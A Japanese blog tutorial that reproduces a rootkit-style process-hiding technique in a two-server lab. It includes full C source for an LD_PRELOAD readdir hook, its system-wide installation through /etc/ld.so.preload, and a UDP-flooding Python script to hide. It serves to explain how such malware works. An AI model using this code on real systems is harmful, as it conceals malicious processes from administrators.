【Linux】プロセス隠蔽の仕組みと実装手順 | SEの道標
Linux基礎

【Linux】プロセス隠蔽の仕組みと実装手順

本記事の内容

以下の英語サイトで紹介されていた内容を実際に試してみました。そのままではうまくいかなかった部分があったので若干カスタマイズしています。

Hiding Linux processes for fun + profit
Learn four ways to hide Linux processes ...

やりたいこと

Linux の Root Kit として『プロセスを隠蔽する』挙動を見せることがあります。今回はこの挙動を実現してみて、その仕組みの理解を深堀します。

構成は以下の通りです。

evil_script.py という、指定した IP 宛に UDP パケットをひたすら投げ続ける python スクリプトを、普通に起動した場合と、プロセスを隠蔽して起動した場合の挙動を比較します。

プロセス隠蔽の仕組み

Windows がオブジェクトベースの OS であるのに対し、Linux はファイルシステムベースの OS です。ファイルやディレクトリだけでなく、ブロックデバイスファイル (ディスク等)  やキャラクタデバイスファイル (キーボードディスプレイマウス等)、ソケットファイルなど、様々なものがファイルという形式で抽象化されています。

プロセスも /proc/ というディレクトリの配下でファイルシステム上で管理されています。

ps コマンドや top コマンド等はこの /proc/ 配下のプロセス情報を引っ張ってきて表示しています。

プロセス隠蔽の方法はいくつかありますが、今回は PRELOAD という仕組みを使って実現します。PRELOAD で指定された共有ライブラリの関数は優先されて使われます。これはつまり、普段使う関数を、PRELOAD で指定することで上書きできる、ということです。

今回は readdir というディレクトリを読み込む Linux 組み込みの関数を、PRELOAD により自作の関数に差し替え、/proc/ 配下のディレクトリから情報取得をできないようにします。

SV1 側の設定

まずは必要パッケージ gcc と python3 をインストールします。

[root@SV1 ~]# dnf install -y gcc python3

次に、evil_script.py を以下のように新規作成します。

[root@SV1 ~]# vi evil_script.py

#!/usr/bin/python3
import socket
import sys

def send_traffic(ip, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.connect((ip, port))
        while True:
                sock.send(b'I AM A BAD BOY')

if len(sys.argv) != 3:
        print("Usage: ",sys.argv[0]," IP PORT")
        sys.exit()

send_traffic(sys.argv[1], int(sys.argv[2]))

実行権限を与えます。

[root@SV1 ~]# chmod +x evil_script.py

SV2 側の設定

パケットを確認するために tcpdump をインストールします。(やらなくてもよい。動作確認のため。)

[root@SV2 ~]# dnf install -y tcpdump

また、送り付けられたパケットに ICMP で反応してしまうとプログラムがエラーにより途中で止まってしまうため、firewalld で drop するようにします。

[root@SV2 ~]# firewall-cmd --permanent --set-target=DROP
[root@SV2 ~]# firewall-cmd --reload

普通に evil_script.py を実行

SV2 側で tcpdump を実行します。

[root@SV2 ~]# tcpdump -i any host 192.168.1.211 -nn -vvv

SV1 側で evil_script.py をバックグラウンド実行します。

[root@SV1 ~]# ./evil_script.py 192.168.1.212 666 &

続いて以下コマンドで状態を見てみます。evil_script.py の存在が確認できます。

[root@SV1 ~]# ps aux | grep evil
root       24527 43.1  0.2 251136 10604 pts/0    R+   13:07   0:02 /usr/bin/python3 ./evil_script.py 192.168.1.212 666
root       24529  0.0  0.0 221928  1088 pts/1    R+   13:07   0:00 grep --color=auto evil

[root@SV1 ~]# top
~~~
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                               
  24527 root      20   0  251136  10604   6528 R  37.5   0.3   0:03.59 evil_script.py                        
      1 root      20   0  174876  14592   8308 S   0.0   0.4   0:01.08 systemd                               
~~~

[root@SV1 ~]# ss -nup
Recv-Q     Send-Q     Local Address:Port       Peer Address:Port   Process
0          3072       192.168.1.211:34464     192.168.1.212:666     users:(("evil_script.py",pid=24532,fd=3))

バックグラウンドで実行した evil_script.py をフォアグラウンドにして、Ctrl+C でスクリプトを止めます。(kill -9 [PID] でも OK)

[root@SV1 ~]# fg
[root@SV1 ~]# (Ctrl + C)

PRELOAD で readdir を置き換え evil_script.py を実行

まずはプロセスを隠蔽するための readdir を差し替えるためのライブラリファイルを C 言語で作成します。

[root@SV1 ~]# vi processhider.c

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

コンパイルし、/etc/ld.so.preload にパスを登録します。

[root@SV1 ~]# gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
[root@SV1 ~]# mv libprocesshider.so /usr/local/lib/
[root@SV1 ~]# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

これで準備完了です。上記でうまくいかない場合は、/etc/profile の最後に以下を追記してもよいです。

export LD_PRELOAD=/usr/local/lib/libprocesshider.so

同様に SV1 側で evil_script.py を実行すると、各種コマンドで evil_script.py のプロセスが表示されなくなります。

[root@SV1 ~]# ./evil_script.py 192.168.1.212 666 &
[root@SV1 ~]# ps aux | grep evil
root       24511  0.0  0.0 226048  1172 pts/1    R+   13:05   0:00 grep --color=auto evil

[root@SV1 ~]# top
~~~
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                               
      1 root      20   0  174876  14592   8308 S   0.0   0.4   0:01.08 systemd                               
      2 root      20   0       0      0      0 S   0.0   0.0   0:00.00 kthreadd                              
~~~

[root@SV1 ~]# ss -nup
Recv-Q        Send-Q               Local Address:Port                 Peer Address:Port       Process
0             1536                 192.168.1.211:36271               192.168.1.212:666

最後、ss コマンドでエントリ自体が隠せればベストなのですが、Process のカラムだけが表示されなくなり、逆に怪しい状態になりました。

FontOnLake というマルウェアだと、今回の LD_PRELOAD の仕組みを利用してプロセスを非表示にしつつ、さらに ss コマンド自体を差し替えてマルウェアの通信も非表示にするそうです。

コメント

タイトルとURLをコピーしました